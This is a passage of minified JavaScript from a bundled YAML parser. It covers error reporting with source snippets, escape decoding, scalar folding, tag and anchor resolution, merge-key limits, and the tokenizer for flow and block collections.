t!==null&&Object.prototype.hasOwnProperty.call(i,t)},keys:i=>Object.keys(i),get:(i,e)=>{const t=String(e);return Object.prototype.hasOwnProperty.call(i,t)?i[t]:null}});var jg={maxLength:79,indent:1,linesBefore:3,linesAfter:2};function Rs(i,e,t,n,r){let s="",o="";const l=Math.floor(r/2)-1;return n-e>l&&(s=" ... ",e=n-l+s.length),t-n>l&&(o=" ...",t=n+l-o.length),{str:s+i.slice(e,t).replace(/\t/g,"→")+o,pos:n-e+s.length}}function Is(i,e){return" ".repeat(Math.max(e-i.length,0))+i}function Yg(i,e){if(!i.buffer)return null;const t={...jg,...e},n=/\r?\n|\r|\0/g,r=[0],s=[];let o,l=-1;for(;o=n.exec(i.buffer);)s.push(o.index),r.push(o.index+o[0].length),i.position<=o.index&&l<0&&(l=r.length-2);l<0&&(l=r.length-1);let a="";const h=Math.min(i.line+t.linesAfter,s.length).toString().length,c=t.maxLength-(t.indent+h+3);for(let u=1;u<=t.linesBefore&&!(l-u<0);u++){const d=Rs(i.buffer,r[l-u],s[l-u],i.position-(r[l]-r[l-u]),c);a=`${" ".repeat(t.indent)}${Is((i.line-u+1).toString(),h)} | ${d.str}
${a}`}const f=Rs(i.buffer,r[l],s[l],i.position,c);a+=`${" ".repeat(t.indent)}${Is((i.line+1).toString(),h)} | ${f.str}
`,a+=`${"-".repeat(t.indent+h+3+f.pos)}^
`;for(let u=1;u<=t.linesAfter&&!(l+u>=s.length);u++){const d=Rs(i.buffer,r[l+u],s[l+u],i.position-(r[l]-r[l+u]),c);a+=`${" ".repeat(t.indent)}${Is((i.line+u+1).toString(),h)} | ${d.str}
`}return a.replace(/\n$/,"")}function Ta(i,e){let t="";return i.mark?(i.mark.name&&(t+=`in "${i.mark.name}" `),t+=`(${i.mark.line+1}:${i.mark.column+1})`,!e&&i.mark.snippet&&(t+=`

${i.mark.snippet}`),`${i.reason} ${t}`):i.reason}var Ht=class jc extends Error{reason;mark;constructor(e,t){super(),this.name="YAMLException",this.reason=e,this.mark=t,this.message=Ta(this,!1),Error.captureStackTrace&&Error.captureStackTrace(this,this.constructor)}toString(e){return`${this.name}: ${Ta(this,e)}`}static throwAt(e,t,n,r=""){let s=0,o=0;for(let a=0;a<t;a++){const h=e.charCodeAt(a);h===10?(s++,o=a+1):h===13&&(s++,e.charCodeAt(a+1)===10&&a++,o=a+1)}const l={name:r,buffer:e,position:t,line:s,column:t-o};throw l.snippet=Yg(l),new jc(n,l)}},ye={DOCUMENT:1,SEQUENCE:2,MAPPING:3,SCALAR:4,ALIAS:5,POP:6},R={PLAIN:1,SINGLE_QUOTED:2,DOUBLE_QUOTED:3,LITERAL_BLOCK:4,FOLDED_BLOCK:5},Ge={BLOCK:1,FLOW:2},mt={CLIP:1,STRIP:2,KEEP:3},Gg=-1;function Ma(i){switch(i){case 48:return"\0";case 97:return"\x07";case 98:return"\b";case 116:return"	";case 9:return"	";case 110:return`
`;case 118:return"\v";case 102:return"\f";case 114:return"\r";case 101:return"\x1B";case 32:return" ";case 34:return'"';case 47:return"/";case 92:return"\\";case 78:return"…";case 95:return" ";case 76:return"\u2028";case 80:return"\u2029";default:return""}}var Yc=new Array(256),Gc=new Array(256);for(let i=0;i<256;i++)Yc[i]=Ma(i)?1:0,Gc[i]=Ma(i);function Jg(i){return i<=65535?String.fromCharCode(i):String.fromCharCode((i-65536>>10)+55296,(i-65536&1023)+56320)}function Zg(i){return i>=48&&i<=57?i-48:(i|32)-97+10}function em(i){return i===120?2:i===117?4:8}function Pr(i,e,t){let n=0;for(;e<t;){const r=i.charCodeAt(e);if(r===10)n++,e++;else if(r===13)n++,e++,i.charCodeAt(e)===10&&e++;else if(r===32||r===9)e++;else break}return{position:e,breaks:n}}function Ll(i){return i===1?" ":`
`.repeat(i-1)}function tm(i,e,t){let n="",r=e,s=e,o=e;for(;r<t;){const l=i.charCodeAt(r);if(l===10||l===13){n+=i.slice(s,o);const a=Pr(i,r,t);n+=Ll(a.breaks),r=s=o=a.position}else r++,l!==32&&l!==9&&(o=r)}return n+i.slice(s,o)}function im(i,e,t){let n="",r=e,s=e,o=e;for(;r<t;){const l=i.charCodeAt(r);if(l===39)n+=i.slice(s,r)+"'",r+=2,s=o=r;else if(l===10||l===13){n+=i.slice(s,o);const a=Pr(i,r,t);n+=Ll(a.breaks),r=s=o=a.position}else r++,l!==32&&l!==9&&(o=r)}return n+i.slice(s,t)}function nm(i,e,t){let n="",r=e,s=e,o=e;for(;r<t;){const l=i.charCodeAt(r);if(l===92){n+=i.slice(s,r),r++;const a=i.charCodeAt(r);if(a===10||a===13)r=Pr(i,r,t).position;else if(a<256&&Yc[a])n+=Gc[a],r++;else{let h=em(a),c=0;for(;h>0;h--){r++;const f=Zg(i.charCodeAt(r));c=(c<<4)+f}n+=Jg(c),r++}s=o=r}else if(l===10||l===13){n+=i.slice(s,o);const a=Pr(i,r,t);n+=Ll(a.breaks),r=s=o=a.position}else r++,l!==32&&l!==9&&(o=r)}return n+i.slice(s,t)}function Pa(i,e,t,n,r,s){const o=n<0?0:n,l=i.slice(e,t).replace(/\r\n?/g,`
`),a=l===""?[]:(l.endsWith(`
`)?l.slice(0,-1):l).split(`
`);let h="",c=!1,f=0,u=!1;for(const d of a){let p=0;for(;p<o&&d.charCodeAt(p)===32;)p++;if(n<0||p>=d.length){f++;continue}const g=d.slice(o),m=g.charCodeAt(0);s?m===32||m===9?(u=!0,h+=`
`.repeat(c?1+f:f)):u?(u=!1,h+=`
`.repeat(f+1)):f===0?c&&(h+=" "):h+=`
`.repeat(f):h+=`
`.repeat(c?1+f:f),h+=g,c=!0,f=0}return r===mt.KEEP?h+=`
`.repeat(c?1+f:f):r!==mt.STRIP&&c&&(h+=`
`),h}function rm(i,e){if(e.valueStart===Gg)return"";const{valueStart:t,valueEnd:n}=e;if(e.fast)return i.slice(t,n);switch(e.style){case R.SINGLE_QUOTED:return im(i,t,n);case R.DOUBLE_QUOTED:return nm(i,t,n);case R.LITERAL_BLOCK:return Pa(i,t,n,e.indent,e.chomping,!1);case R.FOLDED_BLOCK:return Pa(i,t,n,e.indent,e.chomping,!0);default:return tm(i,t,n)}}var sm=Object.assign(Object.create(null),{"!":"!","!!":"tag:yaml.org,2002:"});function Ns(i){return encodeURI(i).replace(/!/g,"%21")}function Jc(i,e){if(i.startsWith("!<")&&i.endsWith(">"))return decodeURIComponent(i.slice(2,-1));const t=i.indexOf("!",1),n=t===-1?"!":i.slice(0,t+1),r=e?.[n]??sm[n]??n;return decodeURIComponent(r)+decodeURIComponent(i.slice(n.length))}function Zc(i){let e=i;return e.charCodeAt(0)===33?(e=e.slice(1),`!${Ns(e)}`):e.slice(0,18)==="tag:yaml.org,2002:"?`!!${Ns(e.slice(18))}`:`!<${Ns(e)}>`}var Mi=-1,om="tag:yaml.org,2002:merge",Dl={filename:"",schema:Ug,json:!1,maxTotalMergeKeys:1e4,maxAliases:-1};function lm(i){return"tagStart"in i&&i.tagStart!==Mi?i.tagStart:"anchorStart"in i&&i.anchorStart!==Mi?i.anchorStart:"valueStart"in i&&i.valueStart!==Mi?i.valueStart:"start"in i?i.start:0}function xe(i,e){Ht.throwAt(i.source,i.position,e,i.filename)}function ef(i,e,t,n){try{return t.finalize(n)}catch(r){if(r instanceof Ht)throw r;Ht.throwAt(i.source,e,r instanceof Error?r.message:String(r),i.filename)}}function am(i,e){const t=rm(i.source,e),n=e.tagStart===Mi?"":i.source.slice(e.tagStart,e.tagEnd),r=i.schema.defaultScalarTag;if(n!==""){if(n==="!")return{value:t,tag:r};const s=Jc(n,i.tagHandlers),o=i.schema.lookupScalarTag(s);if(o){const a=o.resolve(t,!0,s);return a===q&&xe(i,`cannot resolve a node with !<${s}> explicit tag`),{value:a,tag:o}}const l=i.schema.lookupMappingTag(s)??i.schema.lookupSequenceTag(s);if(l){t!==""&&xe(i,`cannot resolve a node with !<${s}> explicit tag`);const a=l.create(s);return{value:l.carrierIsResult?a:ef(i,i.position,l,a),tag:l}}xe(i,`unknown scalar tag !<${s}>`)}return e.style===R.PLAIN?i.schema.resolveImplicitScalarTag(t):{value:r.resolve(t,!1,r.tagName),tag:r}}function Ea(i,e,t){const n=e.tagStart===Mi?"":i.source.slice(e.tagStart,e.tagEnd);return n===""||n==="!"?t:Jc(n,i.tagHandlers)}function tf(i){return i.nodeKind==="mapping"}function La(i){i.totalMergeKeys++,i.maxTotalMergeKeys!==-1&&i.totalMergeKeys>i.maxTotalMergeKeys&&xe(i,`merge keys exceeded maxTotalMergeKeys (${i.maxTotalMergeKeys})`)}function Da(i,e,t,n){La(i);for(const r of n.keys(t)){if(La(i),e.tag.has(e.value,r))continue;const s=e.tag.addPair(e.value,r,n.get(t,r));s&&xe(i,s),e.overridable??=new Set,e.overridable.add(r)}}function hm(i,e,t,n){if(i.position=e.keyPosition,tf(n))Da(i,e,t,n);else if(n.nodeKind==="sequence"&&Array.isArray(t)){t.length>100&&xe(i,"abnormal merge sequence size");for(const r of t){const s=i.nodeTags.get(r);s||xe(i,"cannot merge mappings; the provided source object is unacceptable"),Da(i,e,r,s)}}else xe(i,"cannot merge mappings; the provided source object is unacceptable")}function cm(i,e,t,n,r){if(i.position=e.keyPosition,e.keyIsMerge){hm(i,e,n,r);return}!i.json&&e.tag.has(e.value,t)&&!e.overridable?.has(t)&&xe(i,"duplicated mapping key");const s=e.tag.addPair(e.value,t,n);s&&xe(i,s),e.overridable?.delete(t)}function Bs(i,e,t){const n=i.frames[i.frames.length-1];if(n.kind==="document")n.value=e,n.hasValue=!0;else if(n.kind==="sequence"){tf(t)&&i.nodeTags.set(e,t);const r=n.tag.addItem(n.value,e,n.index++);r&&xe(i,r)}else if(n.hasKey){const r=n.key;n.key=void 0,n.hasKey=!1,cm(i,n,r,e,t)}else n.key=e,n.keyPosition=i.position,n.hasKey=!0,n.keyIsMerge=t.tagName===om}function Fs(i,e,t,n,r){if(e.anchorStart!==Mi){const s={value:t,tag:n,isValueFinal:r};return i.anchors.set(i.source.slice(e.anchorStart,e.anchorEnd),s),s}return null}function fm(i,e){const t={...Dl,...e,events:i,documents:[],eventIndex:0,position:0,frames:[],anchors:new Map,nodeTags:new Map,tagHandlers:Object.create(null),totalMergeKeys:0,aliasCount:0};for(;t.eventIndex<t.events.length;){const n=t.events[t.eventIndex++];switch(t.position=lm(n),n.type){case ye.DOCUMENT:t.anchors=new Map,t.nodeTags=new Map,t.aliasCount=0,t.tagHandlers=Object.create(null);for(const r of n.directives)r.kind==="tag"&&(t.tagHandlers[r.handle]=r.prefix);t.frames.push({kind:"document",position:t.position,value:void 0,hasValue:!1});break;case ye.SCALAR:{const{value:r,tag:s}=am(t,n);Fs(t,n,r,s,!0),Bs(t,r,s);break}case ye.SEQUENCE:{const r=Ea(t,n,"tag:yaml.org,2002:seq"),s=t.schema.lookupSequenceTag(r);s||xe(t,`unknown sequence tag !<${r}>`);const o=s.create(r),l=Fs(t,n,o,s,s.carrierIsResult);t.frames.push({kind:"sequence",position:t.position,value:o,tag:s,anchor:l,index:0});break}case ye.MAPPING:{const r=Ea(t,n,"tag:yaml.org,2002:map"),s=t.schema.lookupMappingTag(r);s||xe(t,`unknown mapping tag !<${r}>`);const o=s.create(r),l=Fs(t,n,o,s,s.carrierIsResult);t.frames.push({kind:"mapping",position:t.position,value:o,tag:s,anchor:l,key:void 0,keyPosition:t.position,hasKey:!1,keyIsMerge:!1,overridable:null});break}case ye.ALIAS:{t.maxAliases!==-1&&++t.aliasCount>t.maxAliases&&xe(t,`aliases exceeded maxAliases (${t.maxAliases})`);const r=t.source.slice(n.anchorStart,n.anchorEnd),s=t.anchors.get(r);s||xe(t,`unidentified alias "${r}"`),s.isValueFinal||xe(t,`recursive alias "${r}" is not supported for tag ${s.tag.tagName} because it uses finalize()`),Bs(t,s.value,s.tag);break}case ye.POP:{const r=t.frames.pop();if(r.kind==="mapping"&&r.hasKey&&(t.position=r.keyPosition,xe(t,"incomplete mapping pair in event stream")),r.kind==="document")t.documents.push(r.value);else{const s=r.tag.carrierIsResult?r.value:ef(t,r.position,r.tag,r.value);r.anchor&&(r.anchor.value=s,r.anchor.isValueFinal=!0),Bs(t,s,r.tag)}break}}}return t.documents}var X=-1,nf=Object.prototype.hasOwnProperty,Wi=1,rf=2,sf=3,Er=4,um=/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F-\x84\x86-\x9F\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/,dm=/[,\[\]{}]/,of=/^(?:!|!!|![0-9A-Za-z-]+!)$/,wo=String.raw`(?:%[0-9A-Fa-f]{2}|[0-9A-Za-z\-#;/?:@&=+$,_.!~*'()\[\]])`,lf=String.raw`(?:%[0-9A-Fa-f]{2}|[0-9A-Za-z\-#;/?:@&=+$.~*'()_])`,pm=new RegExp(`^(?:${wo})*$`),gm=new RegExp(`^(?:${lf})+$`),mm=new RegExp(`^(?:!(?:${wo})*|${lf}(?:${wo})*)$`),Rl={filename:"",maxDepth:100};function bm(i,e,t){i.events.push({type:ye.DOCUMENT,explicitStart:e,explicitEnd:t,directives:i.directives})}function af(i,e,t,n,r,s,o){i.events.push({type:ye.SEQUENCE,start:e,anchorStart:t,anchorEnd:n,tagStart:r,tagEnd:s,style:o})}function hf(i,e,t,n,r,s,o){i.events.push({type:ye.MAPPING,start:e,anchorStart:t,anchorEnd:n,tagStart:r,tagEnd:s,style:o})}function Ra(i,e){i.events.splice(e.eventsLength,0,{type:ye.MAPPING,start:e.position,anchorStart:X,anchorEnd:X,tagStart:X,tagEnd:X,style:Ge.FLOW})}function Yi(i,e,t,n,r,s,o,l,a=mt.CLIP,h=-1,c=!1){i.events.push({type:ye.SCALAR,valueStart:e,valueEnd:t,anchorStart:n,anchorEnd:r,tagStart:s,tagEnd:o,style:l,chomping:a,indent:h,fast:c})}function ym(i,e,t){i.events.push({type:ye.ALIAS,anchorStart:e,anchorEnd:t})}function Pi(i){i.events.push({type:ye.POP})}function Ee(i){Yi(i,X,X,X,X,X,X,R.PLAIN)}function Ia(){return{anchorStart:X,anchorEnd:X,tagStart:X,tagEnd:X}}function Ei(i){return{position:i.position,line:i.line,lineStart:i.lineStart,lineIndent:i.lineIndent,firstTabInLine:i.firstTabInLine,eventsLength:i.events.length}}function Li(i,e){i.position=e.position,i.line=e.line,i.lineStart=e.lineStart,i.lineIndent=e.lineIndent,i.firstTabInLine=e.firstTabInLine,i.events.length=e.eventsLength}function L(i,e){Ht.throwAt(i.input.slice(0,i.length),i.position,e,i.filename)}function ue(i){return i===10||i===13}function Gi(i){return i===9||i===32}function nt(i){return Gi(i)||ue(i)}function Tt(i){return i===0||nt(i)}function di(i){return i===44||i===91||i===93||i===123||i===125}function xm(i){return i>=48&&i<=57?i-48:-1}function vm(i){if(i>=48&&i<=57)return i-48;const e=i|32;return e>=97&&e<=102?e-97+10:-1}function Sm(i){return i===120?2:i===117?4:i===85?8:0}function km(i){return i===48||i===97||i===98||i===116||i===9||i===110||i===118||i===102||i===114||i===101||i===32||i===34||i===47||i===92||i===78||i===95||i===76||i===80}function Lr(i){i.input.charCodeAt(i.position)===10?i.position++:(i.position++,i.input.charCodeAt(i.position)===10&&i.position++),i.line++,i.lineStart=i.position,i.lineIndent=0,i.firstTabInLine=-1}function we(i,e){let t=0,n=i.input.charCodeAt(i.position),r=i.position===i.lineStart||nt(i.input.charCodeAt(i.position-1));for(;n!==0;){for(;Gi(n);)r=!0,n===9&&i.firstTabInLine===-1&&(i.firstTabInLine=i.position),n=i.input.charCodeAt(++i.position);if(e&&r&&n===35)do n=i.input.charCodeAt(++i.position);while(!ue(n)&&n!==0);if(!ue(n))break;for(Lr(i),t++,r=!0,n=i.input.charCodeAt(i.position);n===32;)i.lineIndent++,n=i.input.charCodeAt(++i.position)}return t}function $i(i,e=i.position){const t=i.input.charCodeAt(e);if((t===45||t===46)&&t===i.input.charCodeAt(e+1)&&t===i.input.charCodeAt(e+2)){const n=i.input.charCodeAt(e+3);return n===0||nt(n)}return!1}function cf(i){i.position===i.lineStart&&i.input.charCodeAt(i.position)===65279&&(i.position++,i.lineStart=i.position)}function Il(i){if(i.position!==i.lineStart)return!1;if($i(i))return!0;if(i.input.charCodeAt(i.position)!==65279)return!1;const e=Ei(i);cf(i),we(i,!0);const t=i.input.charCodeAt(i.position),n=i.position===i.lineStart&&(t===37||t===45&&$i(i));return Li(i,e),n}function Na(i){let e=i.input.charCodeAt(i.position);for(;e!==0&&!ue(e);)e=i.input.charCodeAt(++i.position)}function ff(i,e,t){um.test(i.input.slice(e,t))&&L(i,"the stream contains non-printable characters")}function wm(i,e,t){if(i.input.charCodeAt(i.position)!==33)return!1;e.tagStart!==X&&L(i,"duplication of a tag property");const n=i.position;let r=!1,s=!1,o="!",l=i.input.charCodeAt(++i.position);l===60?(r=!0,l=i.input.charCodeAt(++i.position)):l===33&&(s=!0,o="!!",l=i.input.charCodeAt(++i.position));let a=i.position,h;if(r){for(;l!==0&&l!==62;)l=i.input.charCodeAt(++i.position);l!==62&&L(i,"unexpected end of the stream within a verbatim tag"),h=i.input.slice(a,i.position),i.position++}else{for(;l!==0&&!nt(l)&&!(t&&di(l));)l===33&&(s?L(i,"tag suffix cannot contain exclamation marks"):(o=i.input.slice(a-1,i.position+1),of.test(o)||L(i,"named tag handle cannot contain such characters"),s=!0,a=i.position+1)),l=i.input.charCodeAt(++i.position);h=i.input.slice(a,i.position),dm.test(h)&&L(i,"tag suffix cannot contain flow indicator characters")}return h&&!(r?pm.test(h):gm.test(h))&&L(i,`tag name cannot contain such characters: ${h}`),!r&&o!=="!"&&o!=="!!"&&!nf.call(i.tagHandlers,o)&&L(i,`undeclared tag handle "${o}"`),e.tagStart=n,e.tagEnd=i.position,!0}function Om(i,e){if(i.input.charCodeAt(i.position)!==38)return!1;e.anchorStart!==X&&L(i,"duplication of an anchor property"),i.position++;const t=i.position;for(;i.input.charCodeAt(i.position)!==0&&!nt(i.input.charCodeAt(i.position))&&!di(i.input.charCodeAt(i.position));)i.position++;return i.position===t&&L(i,"name of an anchor node must contain at least one character"),e.anchorStart=t,e.anchorEnd=i.position,!0}function Cm(i,e){if(i.input.charCodeAt(i.position)!==42)return!1;(e.anchorStart!==X||e.tagStart!==X)&&L(i,"alias node should not have any properties"),i.position++;const t=i.position;for(;i.input.charCodeAt(i.position)!==0&&!nt(i.input.charCodeAt(i.position))&&!di(i.input.charCodeAt(i.position));)i.position++;return i.position===t&&L(i,"name of an alias node must contain at least one character"),ym(i,t,i.position),!0}function Oo(i,e){we(i,!1),i.lineIndent<e&&L(i,"deficient indentation")}function Am(i,e,t){if(i.input.charCodeAt(i.position)!==39)return!1;i.position++;const n=i.position;let r=!0;for(;i.input.charCodeAt(i.position)!==0;){const s=i.input.charCodeAt(i.position);if(s===39){if(i.input.charCodeAt(i.position+1)===39){r=!1,i.position+=2;continue}const o=i.position;return i.position++,Yi(i,n,o,t.anchorStart,t.anchorEnd,t.tagStart,t.tagEnd,R.SINGLE_QUOTED,mt.CLIP,-1,r),!0}ue(s)?(r=!1,Oo(i,e)):i.position===i.lineStart&&$i(i)?L(i,"unexpected end of the document within a single quoted scalar"):s!==9&&s<32?L(i,"expected valid JSON character"):i.position++}L(i,"unexpected end of the stream within a single quoted scalar")}function Tm(i,e,t){if(i.input.charCodeAt(i.position)!==34)return!1;i.position++;const n=i.position;let r=!0;for(;i.input.charCodeAt(i.position)!==0;){const s=i.input.charCodeAt(i.position);if(s===34){const o=i.position;return i.position++,Yi(i,n,o,t.anchorStart,t.anchorEnd,t.tagStart,t.tagEnd,R.DOUBLE_QUOTED,mt.CLIP,-1,r),!0}if(s===92){r=!1;const o=i.input.charCodeAt(++i.position);if(ue(o))Oo(i,e);else if(km(o))i.position++;else{let l=Sm(o);for(l===0&&L(i,"unknown escape sequence");l-- >0;)i.position++,vm(i.input.charCodeAt(i.position))<0&&L(i,"expected hexadecimal character");i.position++}}else ue(s)?(r=!1,Oo(i,e)):i.position===i.lineStart&&$i(i)?L(i,"unexpected end of the document within a double quoted scalar"):s!==9&&s<32?L(i,"expected valid JSON character"):i.position++}L(i,"unexpected end of the stream within a double quoted scalar")}function Mm(i,e,t){const n=i.input.charCodeAt(i.position);let r=mt.CLIP,s=-1,o=!1;if(n!==124&&n!==62)return!1;const l=n===124?R.LITERAL_BLOCK:R.FOLDED_BLOCK;for(i.position++;i.input.charCodeAt(i.position)!==0;){const d=i.input.charCodeAt(i.position),p=xm(d);if(d===43||d===45)r!==mt.CLIP&&L(i,"repeat of a chomping mode identifier"),r=d===43?mt.KEEP:mt.STRIP,i.position++;else if(p>=0)p===0&&L(i,"bad explicit indentation width of a block scalar; it cannot be less than one"),o&&L(i,"repeat of an indentation width identifier"),s=e+p-1,o=!0,i.position++;else break}let a=!1;for(;Gi(i.input.charCodeAt(i.position));)a=!0,i.position++;a&&i.input.charCodeAt(i.position)===35&&Na(i),ue(i.input.charCodeAt(i.position))?Lr(i):i.input.charCodeAt(i.position)!==0&&L(i,"a line break is expected");let h=o?s:-1,c=0;const f=i.position;let u=i.position;for(;i.input.charCodeAt(i.position)!==0;){const d=i.position;let p=0;for(;i.input.charCodeAt(d+p)===32;)p++;const g=i.input.charCodeAt(d+p);if(g===0){h>=0?p>h&&(u=d+p):p>0&&(u=d+p);break}if(Il(i))break;if(!o&&h===-1&&ue(g)&&(c=Math.max(c,p)),!o&&h===-1&&!ue(g)&&(g===9&&p<e&&(i.position=d+p,L(i,"tab characters must not be used in indentation")),p>=e&&p<c&&(i.position=d+p,L(i,"bad indentation of a mapping entry"))),h===-1&&g!==0&&!ue(g)&&p<e){i.lineIndent=p,i.position=d+p;break}!o&&g!==0&&!ue(g)&&h===-1&&(h=p);const m=h===-1?e+1:h;if(g!==0&&!ue(g)&&p<m){i.lineIndent=p,i.position=d+p;break}Na(i),u=i.position,ue(i.input.charCodeAt(i.position))&&(Lr(i),u=i.position)}return ff(i,f,u),Yi(i,f,u,t.anchorStart,t.anchorEnd,t.tagStart,t.tagEnd,l,r,h),!0}function Pm(i,e){const t=i.input.charCodeAt(i.position),n=e===Wi;if(t===0||nt(t)||t===35||t===38||t===42||t===33||t===124||t===62||t===39||t===34||t===37||t===64||t===96||n&&di(t))return!1;if(t===63||t===45){const r=i.input.charCodeAt(i.position+1);if(Tt(r)||n&&di(r))return!1}return!0}function Em(i,e,t,n){if(!Pm(i,t))return!1;const r=i.position;let s=i.position,o=i.input.charCodeAt(i.position);const l=t===Wi;let a=!1;for(;o!==0&&!Il(i);){if(o===58){const h=i.input.charCodeAt(i.position+1);if(Tt(h)||l&&di(h))break}else if(o===35){if(nt(i.input.charCodeAt(i.position-1)))break}else{if(l&&di(o))break;if(ue(o)){const h=i.position,c=i.line,f=i.lineStart,u=i.lineIndent;if(we(i,!1),i.lineIndent>=e){a=!0,o=i.input.charCodeAt(i.position);continue}i.position=h,i.line=c,i.lineStart=f,i.lineIndent=u;break}}Gi(o)||(s=i.position+1),o=i.input.charCodeAt(++i.position)}return s===r?!1:(ff(i,r,s),Yi(i,r,s,n.anchorStart,n.anchorEnd,n.tagStart,n.tagEnd,R.PLAIN,mt.CLIP,-1,!a),!0)}function rn(i,e){const t=i.line;we(i,!0),(i.line>t&&i.lineIndent<e||i.firstTabInLine!==-1&&i.lineIndent<e)&&L(i,"deficient indentation")}function Lm(i,e,t){const n=i.input.charCodeAt(i.position),r=n===123,s=i.position;let o=!0;if(n!==91&&n!==123)return!1;const l=r?125:93;for(r?hf(i,s,t.anchorStart,t.anchorEnd,t.tagStart,t.tagEnd,Ge.FLOW):af(i,s,t.anchorStart,t.anchorEnd,t.tagStart,t.tagEnd,Ge.FLOW),i.position++;i.input.charCodeAt(i.position)!==0;){rn(i,e);let a=i.input.charCodeAt(i.position);if(a===l)return i.position++,Pi(i),!0;o?a===44&&L(i,"expected the node content, but found ','"):L(i,"missed comma between flow collection entries");let h=!1,c=!1;a===63&&nt(i.input.charCodeAt(i.position+1))&&(h=c=!0,i.position+=1,rn(i,e));const f=i.line,u=Ei(i),d=Hi(i,e,Wi,!1,!0);rn(i,e),a=i.input.charCodeAt(i.position),(r||c||i.line===f)&&a===58?(h=!0,i.position++,rn(i,e),r||Ra(i,u),d||Ee(i),Hi(i,e,Wi,!1,!0)||Ee(i),rn(i,e),r||Pi(i)):r&&h?(d||Ee(i),Ee(i)):r?Ee(i):h&&(Ra(i,u),d||Ee(i),Ee(i),Pi(i)),a=i.input.charCodeAt(i.position),a===44?(o=!0,i.position++):o=!1}L(i,"unexpected end of the stream within a flow collection")}function Ba(i,e,t){if(i.firstTabInLine!==-1||i.input.charCodeAt(i.position)!==45||!Tt(i.input.charCodeAt(i.position+1)))return!1;for(af(i,i.position,t.anchorStart,t.anchorEnd,t.tagStart,t.tagEnd,Ge.BLOCK);i.input.charCodeAt(i.position)===45&&Tt(i.input.charCodeAt(i.position+1));){i.firstTabInLine!==-1&&(i.position=i.firstTabInLine,L(i,"tab characters must not be used in indentation"));const n=i.line;i.position++;const r=we(i,!0)>0;if(i.firstTabInLine!==-1&&i.input.charCodeAt(i.position)===45&&Tt(i.input.charCodeAt(i.position+1))&&L(i,"bad indentation of a sequence entry"),r&&i.lineIndent<=e?Ee(i):Hi(i,e,sf,!1,!0),we(i,!0),i.lineIndent<e||i.position>=i.length)break;i.lineIndent>e&&L(i,"bad indentation of a sequence entry"),i.line===n&&i.input.charCodeAt(i.position)===45&&Tt(i.input.charCodeAt(i.position+1))&&L(i,"bad indentation of a sequence entry")}return Pi(i),!0}function _s(i,e,t,n){let r=!1,s=!1,o=!1,l=!1;if(i.firstTabInLine!==-1)return!1;let a=i.input.charCodeAt(i.position);for(;a!==0;){!r&&i.firstTabInLine!==-1&&(i.position=i.firstTabInLine,L(i,"tab characters must not be used in indentation"));const h=i.input.charCodeAt(i.position+1),c=i.line;if((a===63||a===58)&&Tt(h))o||(hf(i,i.position,n.anchorStart,n.anchorEnd,n.tagStart,n.tagEnd,Ge.BLOCK),o=!0),a===63?(r&&Ee(i),s=!0,r=!0):(r||(Ee(i),s=!0),r=!1),i.position+=1,l=!0;else{r&&(Ee(i),r=!1);const f=Ei(i);if(!Hi(i,t,rf,!1,!0))break;if(i.line===c){for(a=i.input.charCodeAt(i.position);Gi(a);)a=i.input.charCodeAt(++i.position);if(a===58)a=i.input.charCodeAt(++i.position),Tt(a)||L(i,"a whitespace character is expected after the key-value separator within a block mapping"),o||(i.events.splice(f.eventsLength,0,{type:ye.MAPPING,start:f.position,anchorStart:n.anchorStart,anchorEnd:n.anchorEnd,tagStart:n.tagStart,tagEnd:n.tagEnd,style:Ge.BLOCK}),o=!0),s=!0,r=!1,l=!1;else if(s)L(i,"expected ':' after a mapping key");else return n.anchorStart!==X||n.tagStart!==X?(Li(i,f),!1):!0}else if(s)L(i,"can not read a block mapping entry; a multiline key may not be an implicit key");else return n.anchorStart!==X||n.tagStart!==X?(Li(i,f),!1):!0}if(Hi(i,e,Er,!0,l)&&(l=!1),r||l&&(Ee(i),l=!1),we(i,!0),a=i.input.charCodeAt(i.position),(i.line===c||i.lineIndent>e)&&a!==0)L(i,"bad indentation of a mapping entry");else if(i.lineIndent<e)break}return s?(r&&Ee(i),o&&Pi(i),!0):!1}function Hi(i,e,t,n,r,s=!0){i.depth>=i.maxDepth&&L(i,`nesting exceeded maxDepth (${i.maxDepth})`),i.depth++;let o=1,l=!1,a=!1,h=null;const c=Ia();let f=t===Er||t===sf,u=f;const d=f;if(n&&we(i,!0)&&(l=!0,i.lineIndent>e?o=1:i.lineIndent===e?o=0:o=-1),o===1)for(;;){const p=i.input.charCodeAt(i.position),g=Ei(i);if(l&&o!==1&&(p===33||p===38))break;if(l&&d&&(c.tagStart!==X||c.anchorStart!==X)&&(p===33||p===38)){const m=Ei(i),b=e+1;if(_s(i,i.position-i.lineStart,b,c)&&i.events[m.eventsLength]?.type===ye.MAPPING)return i.depth--,!0;Li(i,m)}if(l&&(p===33&&c.tagStart!==X||p===38&&c.anchorStart!==X)||!wm(i,c,t===Wi)&&!Om(i,c))break;h===null&&(h=g),we(i,!0)?(l=!0,u=d,i.lineIndent>e?o=1:i.lineIndent===e?o=0:o=-1):u=!1}if(u&&(u=l||r),o===1||t===Er){const p=t===Wi||t===rf?e:e+1,g=i.position-i.lineStart;if(o===1)if(u&&(Ba(i,g,c)||_s(i,g,p,c))||Lm(i,p,c))a=!0;else{const m=i.input.charCodeAt(i.position);if(h!==null&&s&&d&&!u&&m!==124&&m!==62){const b=Ei(i),x=h.position-h.lineStart;Li(i,h),_s(i,x,p,Ia())&&i.events[b.eventsLength]?.type===ye.MAPPING?a=!0:Li(i,b)}!a&&(f&&Mm(i,p,c)||Am(i,p,c)||Tm(i,p,c)||Cm(i,c)||Em(i,p,t,c))&&(a=!0)}else o===0&&(a=u&&Ba(i,g,c))}return f=f&&!a,!a&&(c.anchorStart!==X||c.tagStart!==X||f)&&(Yi(i,X,X,c.anchorStart,c.anchorEnd,c.tagStart,c.tagEnd,R.PLAIN),a=!0),i.depth--,a||c.anchorStart!==X||c.tagStart!==X}function Dm(i){if(i.lineIndent>0||i.input.charCodeAt(i.position)!==37)return!1;i.position++;const e=i.position;for(;i.input.charCodeAt(i.position)!==0&&!nt(i.input.charCodeAt(i.position));)i.position++;const t=i.input.slice(e,i.position),n=[];for(t.length===0&&L(i,"directive name must not be less than one character in length");i.input.charCodeAt(i.position)!==0&&!ue(i.input.charCodeAt(i.position));){for(;Gi(i.input.charCodeAt(i.position));)i.position++;if(i.input.charCodeAt(i.position)===35||ue(i.input.charCodeAt(i.position))||i.input.charCodeAt(i.position)===0)break;const 